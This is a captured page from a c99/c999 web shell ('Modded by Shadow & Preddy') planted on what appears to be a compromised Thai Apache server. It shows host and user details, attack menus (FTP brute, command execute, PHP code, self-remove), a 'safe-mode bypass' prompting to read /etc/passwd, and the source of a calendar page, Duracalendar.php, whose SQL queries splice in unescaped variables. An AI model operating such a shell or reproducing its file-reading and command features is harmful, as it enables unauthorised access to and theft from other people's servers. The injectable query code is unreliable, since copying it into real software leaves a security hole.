!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Duracalendar.php (6.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
        
/**  Configuration  */
        
require_once( "./configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"./include/Function.php" );
        require_once( 
"./include/FunctionDB.php" );
        require_once( 
"./calendar/check.php" );
          require_once( 
"./calendar/cal_func.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "durable_tb";
        
$myTable3 "province";
        
$myTable4 "training_tb";
        
        
                
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   '$now_stamp'     BETWEEN   add_updated   and    add_updated     ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
$numrows $dbObj->_numrows;
            
//$Teacher_code = $rss['Teacher_code'];
        /**  Table  -->  techplan_method_tb  */
          
$query2 " SELECT *  FROM $myTable2   WHERE  add_updated='$rs1[add_updated]'     ";
          
$result2 $dbObj->execQuery($query2);
           
$rs2 $dbObj->fetchArray($result2);
        
        
        
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูล</title>
</head>

<table width="528" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="538" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     
      <table width="509" height="270"  border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#0000FF">
      
          <tr>
            <td width="509" height="24" align="left" bgcolor="#FFFFFF">&nbsp;&nbsp;ปฏิทินเหตุการณ์ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ของวันที่ <? echo dateThai($now_stamp); ?> 
          </td>
          </tr>
          <tr>
            <td height="242" align="center"><?php do {  ?>
              <table width="103%"  border="0" align="center" cellpadding="0" cellspacing="0">
                <tr bgcolor="#CCCCCC">
                  <td width="100%" height="18" colspan="2" align="left" bgcolor="#FFFFFF"> เลขที่ <?php echo  $rs1['DuraNo'];?></a></td>
                </tr>
                <tr>
                  <td colspan="2">วันที่ แจ้ง : <?php echo $rs1['add_updated']; ?>&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;หน่วยงาน
                      <input name="Faculty_name" type="text" id="Faculty_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value=" <?php
                     $Faculty_code 
=  $rs1["Faculty_code"];
                     
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
                      
$result3 mysql_query($sql) or die("Error".mysql_error());
                      
$rs2 mysql_fetch_array($result3);
                      echo 
"$rs2[Faculty_name] ";
                     
?>" size="30" />
                  </td>
                </tr>
                <tr>
                  <td colspan="2">รหัส
                    <input name="Acc_code" type="text" id="Acc_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['Acc_code'];?>" size="25" />
                     ครุภัณฑ์ 
                      <input name="Acc_name2" type="text" id="Acc_name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['Acc_name'];?>" size="35" />
                   </td>
                </tr>
                <tr>
                  <td colspan="2">สถานที่ตั้งครุภัณฑ์ *</a>
                    <input name="Room_name2" type="text" id="Room_name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['Room_name'];?>" size="20" />
                   &nbsp; </td>
                </tr>
                <tr>
                  <td colspan="2">ชำรุดเนื่องจาก
                    <input name="Fix_History2" type="text" id="Fix_History2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['Fix_History'];?>" size="40" />
                 </td>
                </tr>
                <tr>
                  <td colspan="2">ความเห็นทั่วไปและข้อเสนอแนะ
                  <input name="Store2" type="text" id="Store2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1->Store;?>" size="40" />
                  </td>
                </tr>
                <tr>
                  <td colspan="2">สถานะการดำเนินงาน 
                    <input name="Status2" type="text"  id="Status2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['Status'];?>" size="15"  />
                    ใช้ระยะเวลาในการดำเนินการ </a>
                    <input name="Time_total" type="text" id="Time_total" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value=" <? echo $rs1['Time_total'];?>" size="5" maxlength="5" />
                    นาที</td>
                </tr>
                <tr>
                  <td colspan="2">วันที่ เวลาที่ดำเนินการ <?php echo $rs1['date_updated']; ?></td>
                </tr>
                <tr>
                  <td colspan="2">ผู้แจ้ง: 
                    <?php
               
               $query 
"Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId   WHERE  Teacher_code='$rs1[Teacher_code]' ";
              
$result $dbObj->execQuery($query);
            
$rss $dbObj->fetchArray($result); ?>
                  </font><font color="#003366" size="2" face="Tahoma"><? echo $rss[First_name]?><? echo $rss[Teacher_name]?>&nbsp;&nbsp;<? echo $rss[Teacher_lastname]?></font></td>
                </tr>
                <tr>
                  <td colspan="2"><hr /></td>
                </tr>
              </table>
              <?php } while ($rs1 $dbObj->fetchArray($result1)); ?>
              <span class="style5">จำนวน <?php echo $numrows ?> รายการ</span></td>
          </tr>
        
      </table>
    </fieldset></td>
  </tr>
</table>

<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.023 ]--